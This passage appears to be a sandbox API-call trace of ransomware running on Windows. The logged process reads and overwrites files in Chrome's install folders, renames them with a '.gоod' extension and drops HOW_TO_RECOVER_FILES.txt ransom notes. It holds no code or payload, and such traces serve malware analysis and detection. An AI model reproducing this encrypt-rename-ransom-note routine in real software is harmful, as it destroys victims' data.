lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51740cd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="external_extensions.json", cAlternateFileName="EXTERN~1.JSO")) returned 0 [0094.307] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0094.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0094.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", lpFilePart=0x0) returned 0x61 [0094.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0094.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json"), fInfoLevelId=0x0, lpFileInformation=0x35f6e78 | out: lpFileInformation=0x35f6e78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51740cd4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x63)) returned 1 [0094.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0094.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", nBufferLength=0x105, lpBuffer=0x1fbeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", lpFilePart=0x0) returned 0x61 [0094.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb980) returned 1 [0094.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.308] GetFileType (hFile=0x768) returned 0x1 [0094.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb8f0) returned 1 [0094.308] GetFileType (hFile=0x768) returned 0x1 [0094.308] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fbebb28 | out: lpFileSizeHigh=0x1fbebb28*=0x0) returned 0x63 [0094.308] ReadFile (in: hFile=0x768, lpBuffer=0x35f7228, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeba58, lpOverlapped=0x0 | out: lpBuffer=0x35f7228*, lpNumberOfBytesRead=0x1fbeba58*=0x63, lpOverlapped=0x0) returned 1 [0094.309] CloseHandle (hObject=0x768) returned 1 [0095.043] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", nBufferLength=0x105, lpBuffer=0x1fbeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", lpFilePart=0x0) returned 0x61 [0095.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb980) returned 1 [0095.044] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0095.044] GetFileType (hFile=0x7c8) returned 0x1 [0095.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb8f0) returned 1 [0095.045] GetFileType (hFile=0x7c8) returned 0x1 [0095.045] WriteFile (in: hFile=0x7c8, lpBuffer=0x3555a38*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x1fbeb968, lpOverlapped=0x0 | out: lpBuffer=0x3555a38*, lpNumberOfBytesWritten=0x1fbeb968*=0x70, lpOverlapped=0x0) returned 1 [0095.045] CloseHandle (hObject=0x7c8) returned 1 [0095.046] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json", lpFilePart=0x0) returned 0x61 [0095.046] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json.gоod", lpFilePart=0x0) returned 0x66 [0095.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0095.046] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29849c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29849c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x34dd2da6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0095.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0095.046] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\external_extensions.json.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\external_extensions.json.gоod")) returned 1 [0095.046] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x61 [0095.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebc90) returned 1 [0095.046] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Extensions\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\extensions\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0095.047] GetFileType (hFile=0x7c8) returned 0x1 [0095.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc00) returned 1 [0095.047] GetFileType (hFile=0x7c8) returned 0x1 [0095.047] WriteFile (in: hFile=0x7c8, lpBuffer=0x35591b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbebd58, lpOverlapped=0x0 | out: lpBuffer=0x35591b0*, lpNumberOfBytesWritten=0x1fbebd58*=0x5d0, lpOverlapped=0x0) returned 1 [0095.048] CloseHandle (hObject=0x7c8) returned 1 [0095.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0095.049] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer", lpFilePart=0x0) returned 0x47 [0095.049] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0095.049] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.049] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrmstp.exe", cAlternateFileName="")) returned 1 [0095.049] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe263d5fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe263d5fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x99d99de0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0xae7ae07, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.7z", cAlternateFileName="")) returned 1 [0095.049] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0095.050] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.050] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0095.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0095.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0095.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0095.050] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer", lpFilePart=0x0) returned 0x47 [0095.050] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0095.050] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.050] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrmstp.exe", cAlternateFileName="")) returned 1 [0095.051] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe263d5fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe263d5fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x99d99de0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0xae7ae07, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.7z", cAlternateFileName="")) returned 1 [0095.051] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0095.051] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 0 [0095.051] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0095.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0095.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0095.051] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", lpFilePart=0x0) returned 0x53 [0095.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0095.051] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe"), fInfoLevelId=0x0, lpFileInformation=0x3568e20 | out: lpFileInformation=0x3568e20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958)) returned 1 [0095.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0095.051] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", lpFilePart=0x0) returned 0x53 [0095.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0095.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0095.052] GetFileType (hFile=0x7c8) returned 0x1 [0095.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0095.052] GetFileType (hFile=0x7c8) returned 0x1 [0095.052] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0095.052] ReadFile (in: hFile=0x7c8, lpBuffer=0x3569258, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3569258*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0095.053] CloseHandle (hObject=0x7c8) returned 1 [0095.053] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", lpFilePart=0x0) returned 0x53 [0095.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0095.053] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0095.054] GetFileType (hFile=0x7c8) returned 0x1 [0095.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0095.054] GetFileType (hFile=0x7c8) returned 0x1 [0095.054] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1cc958 [0095.054] WriteFile (in: hFile=0x7c8, lpBuffer=0x356a500*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x356a500*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0095.055] CloseHandle (hObject=0x7c8) returned 1 [0095.055] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", lpFilePart=0x0) returned 0x53 [0095.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0095.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0095.056] GetFileType (hFile=0x7c8) returned 0x1 [0095.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0095.056] GetFileType (hFile=0x7c8) returned 0x1 [0095.056] ReadFile (in: hFile=0x7c8, lpBuffer=0x356c7d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x356c7d0*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0095.594] CloseHandle (hObject=0x7c8) returned 1 [0095.594] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", lpFilePart=0x0) returned 0x53 [0095.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0095.594] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0095.594] GetFileType (hFile=0x7c8) returned 0x1 [0095.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0095.594] GetFileType (hFile=0x7c8) returned 0x1 [0095.594] WriteFile (in: hFile=0x7c8, lpBuffer=0x349bd70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x349bd70*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0095.595] CloseHandle (hObject=0x7c8) returned 1 [0095.595] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe", lpFilePart=0x0) returned 0x53 [0095.595] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe.gоod", lpFilePart=0x0) returned 0x58 [0095.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0095.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x35309e4e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1cc968)) returned 1 [0095.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0095.595] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrmstp.exe.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrmstp.exe.gоod")) returned 1 [0095.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", lpFilePart=0x0) returned 0x51 [0095.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0095.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z"), fInfoLevelId=0x0, lpFileInformation=0x35fcbd8 | out: lpFileInformation=0x35fcbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe263d5fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe263d5fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x99d99de0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0xae7ae07)) returned 1 [0095.596] SetThreadErrorMode (dwNewMode=0x0, 